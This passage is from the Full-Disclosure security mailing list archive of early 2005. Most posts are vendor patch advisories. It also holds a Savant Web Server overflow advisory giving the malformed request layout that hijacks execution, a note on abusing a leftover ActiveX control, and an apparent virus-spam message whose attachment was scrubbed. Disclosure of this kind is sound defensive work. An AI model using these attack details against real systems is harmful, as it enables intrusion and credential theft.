From agent99 at sgi.com Thu Feb 24 16:58:17 2005 From: agent99 at sgi.com (agent99 at sgi.com) Date: Mon, 24 Feb 2005 16:58:17 +0000 (GMT) Subject: [Full-Disclosure] So I have just been studying IE source code and found this strange behaviour.. Message-ID: <200310282207.h9SM6s729217@netsys.com> And it did actually tell me something about all this snowflakes around. I have been living in Earth! Planet Earth! can you actually imagine it.. I cannt!. So, it's really nice to see some screens in this and all. but hey thanks. yours trully, friend SPENDERGLER (i meant spengler or spendergay). And so I thought of you. good day. From zx at castlecops.com Tue Feb 1 00:22:38 2005 From: zx at castlecops.com (Paul Laudanski) Date: Mon, 31 Jan 2005 19:22:38 -0500 (EST) Subject: [Full-Disclosure] Windows Security Checklists - 10 Parts Message-ID: Greetings, We have seen a great interest in Windows Security articles on our front page news. Written by Larry Stevenson, aka Prince_Serendip, they are as follows: Part 1: Firewalls and Antivirus Applications http://castlecops.com/article-5541-nested-0-0.html Part 2: To Do and Do Not http://castlecops.com/article-5570-nested-0-0.html Part 3: Safe at Any Speed Online http://castlecops.com/article-5592-nested-0-0.html Part 4: Securing Your Network http://castlecops.com/article-5621-nested-0-0.html Part 5: Are Cookies Really Guid for You? http://castlecops.com/article-5641-nested-0-0.html Part 6: Invisible Internet Browsing http://castlecops.com/article-5649-nested-0-0.html Part 7: HOSTS File: Wholesale Blocking http://castlecops.com/article-5660-nested-0-0.html Part 8: IM Insecure http://castlecops.com/article-5671-nested-0-0.html Part 9: Batting Clean-up http://castlecops.com/article-5686-nested-0-0.html Part 10: PC Pesticides http://castlecops.com/article-5703-nested-0-0.html This series started November 28, 2004 with the last part posted January 30, 2005. Great series of articles that help secure your Windows environment. -- Regards, Paul Laudanski - Computer Cops, LLC. CastleCops(SM) - http://castlecops.com http://cuddlesnkisses.com | http://justalittlepoke.com | http://zhen-xjell.com From evilpacket at gmail.com Tue Feb 1 05:04:26 2005 From: evilpacket at gmail.com (Adam Baldwin) Date: Mon, 31 Jan 2005 21:04:26 -0800 Subject: [Full-Disclosure] University of Phoenix - Outlook Express Unauthorized Configuration Manipulation Message-ID: * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * University of Phoenix Outlook Express Unauthorized Configuration Manipulation Vendor Homepage: http://www.phoenix.edu Discovered by: Adam Baldwin (evilpacket at ngenuity-is.com) www.evilpacket.net\advisories\EP-000-0002.html Discovery Date: 1.17.2005 File Name: PhxStudent15.ocx Vulnerable Version: 2.00.0001 Overview: PhxStudent15.ocx is an activex control used to setup e-mail / NNTP and LDAP accounts in Outlook Express. This control remains on the users system long after the setup process has completed. This activex control can be used to manipulate the users account settings (imap / smtp / nntp / ldap). The following is an example of how to embed this control into a website with the proper param's. Note the account is only 'modified' if the "Program" param remains the same, which is not difficult. Any of the other settings can be modified to cause any number of attacks from denial of service to theft of login credentials, (be inventive :-) Example:

Mitigation: The University of Phoenix has been contacted but no response has been received. I would recommend that students remove this activex control and only allow it to be installed while registering for classes. Notes: At this time further exploitation does not appear possible, although on the following platform (with modification of the params) would crash IE after the ocx was loaded and crashed 3 times in the same browser window, which begs further research. Platform: Windows XP SP2, IE 6.0.2900.2180.xpsp2_rtm.040803-2158 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * From trog at uncon.org Tue Feb 1 09:09:18 2005 From: trog at uncon.org (Trog) Date: Tue, 01 Feb 2005 09:09:18 +0000 Subject: [Full-Disclosure] [ GLSA 200501-46 ] ClamAV: Multiple issues In-Reply-To: <200501312041.56926.jaervosz@gentoo.org> References: <200501312041.56926.jaervosz@gentoo.org> Message-ID: <1107248958.18396.9.camel@syntax> On Mon, 2005-01-31 at 20:41 +0100, Sune Kloppenborg Jeppesen wrote: > > By sending a base64 encoded image file in a URL an attacker could evade > virus scanning. It's somewhat harsh to single out ClamAV for this issue. AFAICT, the only two virus scanners that do currently protect against this are ClamAV and AntiVir. According to current testing, all the others, including: AVG Avast BitDefender DrWeb eTrust-Iris eTrust-Vet F-Prot F-Secure Kaspersky mks_vir NOD32 Norman Virus Control Panda8 Sophos Sybari Symantec do not offer protection against this issue. If anyone sees any errors in the list above, please let me know -trog -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050201/b98377d8/attachment.bin From mcensamuel at yahoo.com Tue Feb 1 09:20:23 2005 From: mcensamuel at yahoo.com (m3c) Date: Tue, 1 Feb 2005 01:20:23 -0800 (PST) Subject: [Full-Disclosure] OT: Tool for sanitizing MS office documents? In-Reply-To: <41FE416D.7090706@comsquared.com> Message-ID: <20050201092024.84008.qmail@web50208.mail.yahoo.com> if i understood your query correctly... u can try docscrubber...nice tool to 'remove hidden data' from the doc files. http://www.docscrubber.com/ --- David Gianndrea wrote: > I thought I saw something about a tool on this list > that > would clean out the revisions and personal info from > MS > office docs. > > Could some point me to this tool, or correct me if > im just making this up in my mind! > > -- > David Gianndrea > Senior Network Engineer > Comsquared Systems, Inc. > > Email: dgianndrea at comsquared.com > Web: www.comsquared.com > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: > http://lists.netsys.com/full-disclosure-charter.html > __________________________________ Do you Yahoo!? All your favorites on one personal page ? Try My Yahoo! http://my.yahoo.com From muts at zahav.net.il Tue Feb 1 10:47:48 2005 From: muts at zahav.net.il (muts at zahav.net.il) Date: Tue, 1 Feb 2005 12:47:48 +0200 Subject: [Full-Disclosure] Remotely exploitable buffer overflow vulnerability in Savant Web Server 3.1 Message-ID: See Security, Research and Development ------------------------------------------------------ [-] Product Information Savant is a full-featured open source web server for computers running any version of Windows 95/NT or greater. Product Homepage: http://sourceforge.net/projects/savant/ [-] Vulnerability Description A buffer overflow vulnerability was discovered in Savant Web Server 3.1 which allows remote code execution by sending a malformed HTTP request. [-] Analysis When sending a malformed HTTP request in the format Any_Text / [256 Bytes]\r\n we will be able to overwrite the instruction pointer with an arbitrary address. [-] Vendor Notification The vendor was not available for notification. [-] Exploit Attached. Developed by Tal Zeltzer And Mati Aharoni [-] Credits The vulnerability was discovered by Mati Aharoni Metasploit Google From alpha_n_demon at yahoo.com Tue Feb 1 11:17:29 2005 From: alpha_n_demon at yahoo.com (alphademon) Date: Tue, 1 Feb 2005 03:17:29 -0800 (PST) Subject: [Full-Disclosure] Call For Papers : HITB Security Conference Bahrain 2005 Message-ID: <20050201111729.52887.qmail@web53203.mail.yahoo.com> Hack In The Box Security Conference 2005 : Bahrain -------------------------------------------------- Greetings, We are inviting individuals or groups who are interested in computer and network security, challenges and practices to send in their papers for inclusion in HITBSecConf2005 Bahrain. This deep knowledge network security event will take place from April 10th - 13th in the city of Manama, Bahrain. Topics of interest include, but are not limited to the following: ? Analysis of network and security vulnerabilities ? Firewall technologies ? Intrusion detection / prevention ? Data Recovery and Incident Response ? GPRS and CDMA Security ? Identification and Entity Authentication ? Network Protocol and Analysis ? Smart Card Security ? Virus and Worms ? WLAN and Bluetooth Security. ? Analysis of malicious code ? Applications of cryptographic techniques ? Analysis of attacks against networks and machines ? Denial-of-service attacks and countermeasures ? File system security ? Security in heterogeneous and large-scale environments ? Espionage and Counter Intelligence ? Techniques for developing secure systems ? Military Security / Technology Summaries not exceeding 250 words should be submitted (in plain text format) to cfp -at- hackinthebox.org for review and possible inclusion in the program. All flights and hotel accomodation will be provided should your paper be accepted. ## Note: We do not accept product or vendor related pitches. If your talk involves an advertisement for a new product or service your company is offering, please do not submit. For event sponsorship details please contact Jorge Sebastiao (jorge[at]esgulf.com) For further details regarding what we have planned, please take a look at our official conference website: http://conference.hackinthebox.org/hitbsecconf2005/index.php?cat=1 Thank you, alphademon[at]hackinthebox.org - HackInTheBox Security Conference 2005 Bahrain "Apr 10 - 13 2005" - __________________________________ Do you Yahoo!? Meet the all-new My Yahoo! - Try it today! http://my.yahoo.com From martin.pitt at canonical.com Tue Feb 1 14:14:48 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Tue, 1 Feb 2005 15:14:48 +0100 Subject: [Full-Disclosure] [USN-71-1] PostgreSQL vulnerability Message-ID: <20050201141447.GA17279@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-71-1 February 01, 2005 postgresql vulnerability http://archives.postgresql.org/pgsql-bugs/2005-01/msg00269.php =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: postgresql The problem can be corrected by upgrading the affected package to version 7.4.5-3ubuntu0.2. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: John Heasman discovered a local privilege escalation in the PostgreSQL server. Any user could use the LOAD extension to load any shared library into the PostgreSQL server; the library's initialisation function was then executed with the permissions of the server. Now the use of LOAD is restricted to the database superuser (usually 'postgres'). Note: Since there is no way for normal database users to create arbitrary files, this vulnerability is not exploitable remotely, e. g. by uploading a shared library in the form of a Binary Large Object (BLOB) to a public web server. Source archives: http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/postgresql_7.4.5-3ubuntu0.2.diff.gz Size/MD5: 144331 061cf00128bc3c1941c72d2eddf56977 http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/postgresql_7.4.5-3ubuntu0.2.dsc Size/MD5: 991 41e775db9e1ed15977b3f4d24c861f36 http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/postgresql_7.4.5.orig.tar.gz Size/MD5: 9895913 a295885a36ed8e7ec7a7e887218ceabc Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/postgresql-doc_7.4.5-3ubuntu0.2_all.deb Size/MD5: 2256210 e7ed26ba038d1fbcf9eb18a4635df708 amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/libecpg-dev_7.4.5-3ubuntu0.2_amd64.deb Size/MD5: 206558 7d450c33ad8832f45a0f57743ca5ac1d http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/libecpg4_7.4.5-3ubuntu0.2_amd64.deb Size/MD5: 90996 3e6974e82554158777071c9f6bde9962 http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/libpgtcl-dev_7.4.5-3ubuntu0.2_amd64.deb Size/MD5: 48688 0c24596c6dcd9fffdde1a494030287ac http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/libpgtcl_7.4.5-3ubuntu0.2_amd64.deb Size/MD5: 73600 1eec6f8812e7d1c8ec94e77c2208a9ec http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/libpq3_7.4.5-3ubuntu0.2_amd64.deb Size/MD5: 115460 4eda86cf4da1b60166f5cd53256aca97 http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/postgresql-client_7.4.5-3ubuntu0.2_amd64.deb Size/MD5: 518034 45199e8357f4ea6a196e43e793d07d33 http://security.ubuntu.com/ubuntu/pool/universe/p/postgresql/postgresql-contrib_7.4.5-3ubuntu0.2_amd64.deb Size/MD5: 624240 59ed8ddaf5370496988324f4f3f45f36 http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/postgresql-dev_7.4.5-3ubuntu0.2_amd64.deb Size/MD5: 509206 40ea9487834de0da7ba0260b16f80ac2 http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/postgresql_7.4.5-3ubuntu0.2_amd64.deb Size/MD5: 3879368 d567092150ef9174531f9ef7eedb9582 i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/libecpg-dev_7.4.5-3ubuntu0.2_i386.deb Size/MD5: 194652 e63083e7b68e5facb1095759463304c7 http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/libecpg4_7.4.5-3ubuntu0.2_i386.deb Size/MD5: 85496 b02590e1b40c0d36c964a15c3178f61b http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/libpgtcl-dev_7.4.5-3ubuntu0.2_i386.deb Size/MD5: 47672 848a3c03541c57fb747c8e1a8409e01e http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/libpgtcl_7.4.5-3ubuntu0.2_i386.deb Size/MD5: 70420 8e844642c37fd185e19c8be284a2c93b http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/libpq3_7.4.5-3ubuntu0.2_i386.deb Size/MD5: 108692 cb71f14954af869699969808c93d9fcc http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/postgresql-client_7.4.5-3ubuntu0.2_i386.deb Size/MD5: 491886 b47e1d26705e55383183da67a4b505b8 http://security.ubuntu.com/ubuntu/pool/universe/p/postgresql/postgresql-contrib_7.4.5-3ubuntu0.2_i386.deb Size/MD5: 577526 00ad106981042d223814f0ed1034aeda http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/postgresql-dev_7.4.5-3ubuntu0.2_i386.deb Size/MD5: 502382 54821c8808ade7e2978f02922a6c2b72 http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/postgresql_7.4.5-3ubuntu0.2_i386.deb Size/MD5: 3703024 4d49d93be88f347ebefe8be89ff3cdd5 powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/libecpg-dev_7.4.5-3ubuntu0.2_powerpc.deb Size/MD5: 202940 9d87386c926643474fdb6b703109db78 http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/libecpg4_7.4.5-3ubuntu0.2_powerpc.deb Size/MD5: 92520 b99191130ca5ed5474c7c82d1ba9b5cc http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/libpgtcl-dev_7.4.5-3ubuntu0.2_powerpc.deb Size/MD5: 48424 cee70313e677ff9d3fee835aca786133 http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/libpgtcl_7.4.5-3ubuntu0.2_powerpc.deb Size/MD5: 77096 d6c9229a48c07118df4593fb52262285 http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/libpq3_7.4.5-3ubuntu0.2_powerpc.deb Size/MD5: 109698 cdeb831525fd57b7b92d583bdd3f1161 http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/postgresql-client_7.4.5-3ubuntu0.2_powerpc.deb Size/MD5: 510802 a489315d0c0edb6e4a5058d3e5e8e399 http://security.ubuntu.com/ubuntu/pool/universe/p/postgresql/postgresql-contrib_7.4.5-3ubuntu0.2_powerpc.deb Size/MD5: 636382 f8ad13620901007dd7079761e8fee568 http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/postgresql-dev_7.4.5-3ubuntu0.2_powerpc.deb Size/MD5: 505916 aa6789978d07d4156d30cda072cc9755 http://security.ubuntu.com/ubuntu/pool/main/p/postgresql/postgresql_7.4.5-3ubuntu0.2_powerpc.deb Size/MD5: 4102894 3d4a7b34aef6a70ccfb7e3de3a646643 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050201/6c4f4b7f/attachment.bin From andfarm at teknovis.com Tue Feb 1 18:21:30 2005 From: andfarm at teknovis.com (Andrew Farmer) Date: Tue, 1 Feb 2005 10:21:30 -0800 Subject: [Full-Disclosure] Remotely exploitable buffer overflow vulnerability in Savant Web Server 3.1 In-Reply-To: References: Message-ID: <37f3b58d430c743dbd0111b683cb050c@teknovis.com> I suppose that makes it an "idiot Savant". -------------- next part -------------- A non-text attachment was scrubbed... Name: PGP.sig Type: application/pgp-signature Size: 186 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050201/aa936a03/attachment.bin From muts at inter.net.il Tue Feb 1 16:52:23 2005 From: muts at inter.net.il (muts) Date: Tue, 1 Feb 2005 18:52:23 +0200 Subject: [Full-Disclosure] Remotely exploitable buffer overflow vulnerability in Savant Web Server 3.1 In-Reply-To: <200501311700.j0VH0B9P025474@lists.netsys.com> Message-ID: <200502011652.ALD24516@romy.inter.net.il> Attachment did not get through the original advisory. My appologies. Muts -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: savant31.py Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050201/9191c58c/attachment.ksh From bugzilla at redhat.com Tue Feb 1 19:05:01 2005 From: bugzilla at redhat.com (Bugzilla) Date: Tue, 01 Feb 2005 14:05:01 -0500 Subject: [Full-Disclosure] RE: Message Notify Message-ID: An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050201/97764175/attachment.html -------------- next part -------------- A non-text attachment was scrubbed... Name: Details.com Type: application/octet-stream Size: 21958 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050201/97764175/attachment.obj From vorlon at gentoo.org Tue Feb 1 20:08:21 2005 From: vorlon at gentoo.org (Matthias Geerdsen) Date: Tue, 1 Feb 2005 21:08:21 +0100 Subject: [Full-Disclosure] [ GLSA 200502-01 ] FireHOL: Insecure temporary file creation Message-ID: <20050201200821.GA22576@kosh.atw.wh.local> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200502-01 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: FireHOL: Insecure temporary file creation Date: February 01, 2005 Bugs: #79330 ID: 200502-01 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== FireHOL is vulnerable to symlink attacks, potentially allowing a local user to overwrite arbitrary files. Background ========== FireHOL is an iptables rules generator. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 net-firewall/firehol < 1.224 >= 1.224 Description =========== FireHOL insecurely creates temporary files with predictable names. Impact ====== A local attacker could create malicious symbolic links to arbitrary system files. When FireHOL is executed, this could lead to these files being overwritten with the rights of the user launching FireHOL, usually the root user. Workaround ========== There is no known workaround at this time. Resolution ========== All FireHOL users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-firewall/firehol-1.224" References ========== [ 1 ] FireHOL CVS log http://cvs.sourceforge.net/viewcvs.py/firehol/firehol/firehol.sh Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200502-01.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050201/4e4659e1/attachment.bin From marcdeslauriers at videotron.ca Wed Feb 2 01:13:58 2005 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Tue, 01 Feb 2005 20:13:58 -0500 Subject: [Full-Disclosure] [FLSA-2005:2255] Updated zip package fixes security issue Message-ID: <42002956.5070905@videotron.ca> --------------------------------------------------------------------- Fedora Legacy Update Advisory Synopsis: Updated zip package fixes security issue Advisory ID: FLSA:2255 Issue date: 2005-02-01 Product: Red Hat Linux, Fedora Core Keywords: Bugfix Cross references: https://bugzilla.fedora.us/show_bug.cgi?id=2255 CVE Names: CAN-2004-1010 --------------------------------------------------------------------- --------------------------------------------------------------------- 1. Topic: An updated zip package that fixes a buffer overflow vulnerability is now available. The zip program is an archiving utility which can create ZIP-compatible archives. 2. Relevant releases/architectures: Red Hat Linux 7.3 - i386 Red Hat Linux 9 - i386 Fedora Core 1 - i386 3. Problem description: A buffer overflow bug has been discovered in zip when handling long file names. An attacker could create a specially crafted path which could cause zip to crash or execute arbitrary instructions. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-1010 to this issue. Users of zip should upgrade to this updated package, which contains backported patches and is not vulnerable to this issue. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via yum and apt. Many people find this an easier way to apply updates. To use yum issue: yum update or to use apt: apt-get update; apt-get upgrade This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. This assumes that you have yum or apt-get configured for obtaining Fedora Legacy content. Please visit http://www fedoralegacy.org/docs for directions on how to configure yum and apt-get. 5. Bug IDs fixed: http://bugzilla.fedora.us - bug #2255 - zip long path buffer overflow 6. RPMs required: Red Hat Linux 7.3: SRPM: http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/zip-2.3-26.1.0.7.3.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/7.3/updates/i386/zip-2.3-26.1.0.7.3.legacy.i386.rpm Red Hat Linux 9: SRPM: http://download.fedoralegacy.org/redhat/9/updates/SRPMS/zip-2.3-26.1.0.9.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/9/updates/i386/zip-2.3-26.1.0.9.legacy.i386.rpm Fedora Core 1: SRPM: http://download.fedoralegacy.org/fedora/1/updates/SRPMS/zip-2.3-26.1.1.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/1/updates/i386/zip-2.3-26.1.1.legacy.i386.rpm 7. Verification: SHA1 sum Package Name --------------------------------------------------------------------- 7b1134632529e30a471d2ae038f414f407ac0d3e redhat/7.3/updates/i386/zip-2.3-26.1.0.7.3.legacy.i386.rpm 8db58039a432c0f0c9ff01e07b9190ad23ac4413 redhat/7.3/updates/SRPMS/zip-2.3-26.1.0.7.3.legacy.src.rpm 95966b2b9fdac8f17c74226c3c033b24dd6c9226 redhat/9/updates/i386/zip-2.3-26.1.0.9.legacy.i386.rpm 92b76aadb2e46b57dd9b71927dada7b1c1154dae redhat/9/updates/SRPMS/zip-2.3-26.1.0.9.legacy.src.rpm 9ef4498e118ca6b4a8f72b02fecde57924d51267 fedora/1/updates/i386/zip-2.3-26.1.1.legacy.i386.rpm 2dcdfc8e6ac63e2b74cf7c781c078773e0265eb8 fedora/1/updates/SRPMS/zip-2.3-26.1.1.legacy.src.rpm These packages are GPG signed by Fedora Legacy for security. Our key is available from http://www.fedoralegacy org/about/security.php You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the sha1sum with the following command: sha1sum 8. References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1010 http://lists.netsys.com/pipermail/full-disclosure/2004-November/028379.html 9. Contact: The Fedora Legacy security contact is . More project details at http://www.fedoralegacy.org --------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050201/9327d4d4/attachment.bin From marcdeslauriers at videotron.ca Wed Feb 2 01:15:06 2005 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Tue, 01 Feb 2005 20:15:06 -0500 Subject: [Full-Disclosure] [FLSA-2005:2187] Updated freeradius packages fix security flaws Message-ID: <4200299A.9040402@videotron.ca> ----------------------------------------------------------------------- Fedora Legacy Update Advisory Synopsis: Updated freeradius packages fix security flaws Advisory ID: FLSA:2187 Issue date: 2005-02-01 Product: Fedora Core Keywords: Bugfix Cross references: https://bugzilla.fedora.us/show_bug.cgi?id=2187 CVE Names: CAN-2004-0938 CAN-2004-0960 CAN-2004-0961 ----------------------------------------------------------------------- ----------------------------------------------------------------------- 1. Topic: Updated freeradius packages that fix a number of denial of service vulnerabilities as well as minor bugs are now available. FreeRADIUS is a high-performance and highly configurable free RADIUS server designed to allow centralized authentication and authorization for a network. 2. Relevant releases/architectures: Fedora Core 1 - i386 3. Problem description: A number of flaws were found in FreeRADIUS versions prior to 1.0.1. An attacker who is able to send packets to the server could construct carefully constructed packets in such a way as to cause the server to consume memory or crash. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the names CAN-2004-0938, CAN-2004-0960, and CAN-2004-0961 to these issues. Please note that the pam config file included in these packages was renamed to /etc/pam.d/radiusd. Users of FreeRADIUS should update to these erratum packages that contain FreeRADIUS 1.0.1, which is not vulnerable to these issues and also corrects a number of bugs. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via yum and apt. Many people find this an easier way to apply updates. To use yum issue: yum update or to use apt: apt-get update; apt-get upgrade This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. This assumes that you have yum or apt-get configured for obtaining Fedora Legacy content. Please visit http://www fedoralegacy.org/docs for directions on how to configure yum and apt-get. 5. Bug IDs fixed: http://bugzilla.fedora.us - 2187 - Freeradius < 1.0.1 DoS and remote crash 6. RPMs required: Fedora Core 1: SRPM: http://download.fedoralegacy.org/fedora/1/updates/SRPMS/freeradius-1.0.1-0.FC1.5.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/1/updates/i386/freeradius-1.0.1-0.FC1.5.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/freeradius-mysql-1.0.1-0.FC1.5.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/freeradius-postgresql-1.0.1-0.FC1.5.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/freeradius-unixODBC-1.0.1-0.FC1.5.legacy.i386.rpm 7. Verification: SHA1 sum Package Name --------------------------------------------------------------------------- 83a5b013fac1aaa3caee75ea97dadb9ead68ca6c fedora/1/updates/i386/freeradius-1.0.1-0.FC1.5.legacy.i386.rpm 6b9dfc73490b32784112f0f6f0cde1d87f1812f7 fedora/1/updates/i386/freeradius-mysql-1.0.1-0.FC1.5.legacy.i386.rpm 58b1e0975443a435c982b394f775337a8eedde9a fedora/1/updates/i386/freeradius-postgresql-1.0.1-0.FC1.5.legacy.i386.rpm 94b816b7da430f359401dade849820c962b5ad98 fedora/1/updates/i386/freeradius-unixODBC-1.0.1-0.FC1.5.legacy.i386.rpm c26c9fe20f721946bbcf7723b654ce72d1fd587f fedora/1/updates/SRPMS/freeradius-1.0.1-0.FC1.5.legacy.src.rpm These packages are GPG signed by Fedora Legacy for security. Our key is available from http://www.fedoralegacy org/about/security.php You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the sha1sum with the following command: sha1sum 8. References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0938 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0960 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0961 9. Contact: The Fedora Legacy security contact is . More project details at http://www.fedoralegacy.org --------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050201/9ca037b6/attachment.bin From marcdeslauriers at videotron.ca Wed Feb 2 01:16:20 2005 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Tue, 01 Feb 2005 20:16:20 -0500 Subject: [Full-Disclosure] [FLSA-2005:2272] Updated unarj package fixes security issue Message-ID: <420029E4.80600@videotron.ca> --------------------------------------------------------------------- Fedora Legacy Update Advisory Synopsis: Updated unarj package fixes security issue Advisory ID: FLSA:2272 Issue date: 2005-02-01 Product: Red Hat Linux, Fedora Core Keywords: Bugfix Cross references: https://bugzilla.fedora.us/show_bug.cgi?id=2272 CVE Names: CAN-2004-0947 CAN-2004-1027 --------------------------------------------------------------------- --------------------------------------------------------------------- 1. Topic: An updated unarj package that fixes a buffer overflow vulnerability and a directory traversal vulnerability is now available. The unarj program is an archiving utility which can extract ARJ-compatible archives. 2. Relevant releases/architectures: Red Hat Linux 7.3 - i386 Red Hat Linux 9 - i386 Fedora Core 1 - i386 3. Problem description: A buffer overflow bug was discovered in unarj when handling long file names contained in an archive. An attacker could create a specially crafted archive which could cause unarj to crash or possibly execute arbitrary code when extracted by a victim. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0947 to this issue. Additionally, a path traversal vulnerability was discovered in unarj. An attacker could create a specially crafted archive which would create files in the parent ("..") directory when extracted by a victim. When used recursively, this vulnerability could be used to overwrite critical system files and programs. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-1027 to this issue. Users of unarj should upgrade to this updated package which contains backported patches and is not vulnerable to these issues. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via yum and apt. Many people find this an easier way to apply updates. To use yum issue: yum update or to use apt: apt-get update; apt-get upgrade This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. This assumes that you have yum or apt-get configured for obtaining Fedora Legacy content. Please visit http://www fedoralegacy.org/docs for directions on how to configure yum and apt-get. 5. Bug IDs fixed: http://bugzilla.fedora.us - bug #2272 - unarj - buffer overflow and path traversal bugs 6. RPMs required: Red Hat Linux 7.3: SRPM: 